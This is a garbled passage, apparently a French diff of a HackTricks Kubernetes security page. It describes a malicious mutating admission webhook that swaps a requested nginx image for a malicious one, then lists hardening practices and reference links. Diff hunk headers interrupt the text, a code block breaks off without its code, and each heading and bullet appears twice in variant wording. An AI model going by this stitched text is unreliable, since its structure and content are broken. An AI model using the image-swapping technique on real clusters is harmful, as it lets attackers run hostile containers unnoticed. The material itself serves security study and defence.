Comme vous pouvez le voir dans l'image ci-dessus, nous avons essayé d'exécuter l'image `nginx`, mais l'image finalement exécutée est `rewanthtammana/malicious-image`. Que s'est-il passé !!?
#### Technicalities <a href="#heading-technicalities" id="heading-technicalities"></a>
#### Technicalités
Le script `./deploy.sh` établit un contrôleur d'admission de webhook mutateur, qui modifie les requêtes à l'API Kubernetes comme spécifié dans ses lignes de configuration, influençant les résultats observés :
```
@@ -667,18 +684,18 @@ Le snippet ci-dessus remplace la première image de conteneur dans chaque pod pa
## Meilleures Pratiques
### **Désactivation de l'automontage des jetons de compte de service**
### **Désactivation de l'Automount des Jetons de Compte de Service**
- **Pods et Comptes de Service** : Par défaut, les pods montent un jeton de compte de service. Pour améliorer la sécurité, Kubernetes permet de désactiver cette fonctionnalité d'automontage.
- **Pods et Comptes de Service** : Par défaut, les pods montent un jeton de compte de service. Pour améliorer la sécurité, Kubernetes permet de désactiver cette fonctionnalité d'automount.
- **Comment Appliquer** : Définissez `automountServiceAccountToken: false` dans la configuration des comptes de service ou des pods à partir de la version 1.6 de Kubernetes.
### **Attribution d'Utilisateurs Restrictive dans RoleBindings/ClusterRoleBindings**
### **Attribution d'Utilisateurs Restrictive dans les RoleBindings/ClusterRoleBindings**
- **Inclusion Sélective** : Assurez-vous que seuls les utilisateurs nécessaires sont inclus dans les RoleBindings ou ClusterRoleBindings. Auditez régulièrement et retirez les utilisateurs non pertinents pour maintenir une sécurité stricte.
### **Rôles Spécifiques aux Espaces de Noms Plutôt que Rôles Globaux**
### **Rôles Spécifiques aux Noms de Namespace Plutôt que Rôles Globaux**
- **Rôles vs. ClusterRoles** : Préférez utiliser des Rôles et des RoleBindings pour des permissions spécifiques aux espaces de noms plutôt que des ClusterRoles et des ClusterRoleBindings, qui s'appliquent à l'échelle du cluster. Cette approche offre un contrôle plus fin et limite la portée des permissions.
- **Rôles vs. ClusterRoles** : Préférez utiliser des Rôles et des RoleBindings pour des permissions spécifiques aux namespaces plutôt que des ClusterRoles et des ClusterRoleBindings, qui s'appliquent à l'échelle du cluster. Cette approche offre un meilleur contrôle et limite la portée des permissions.
### **Utiliser des outils automatisés**
@@ -699,5 +716,7 @@ https://github.com/aquasecurity/kube-bench
- [**https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions**](https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions)
- [**https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1**](https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1)
- [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers)
- [**https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html**](https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html)
- [**https://kubenomicon.com/**](https://kubenomicon.com/)
{{#include ../../../banners/hacktricks-training.md}}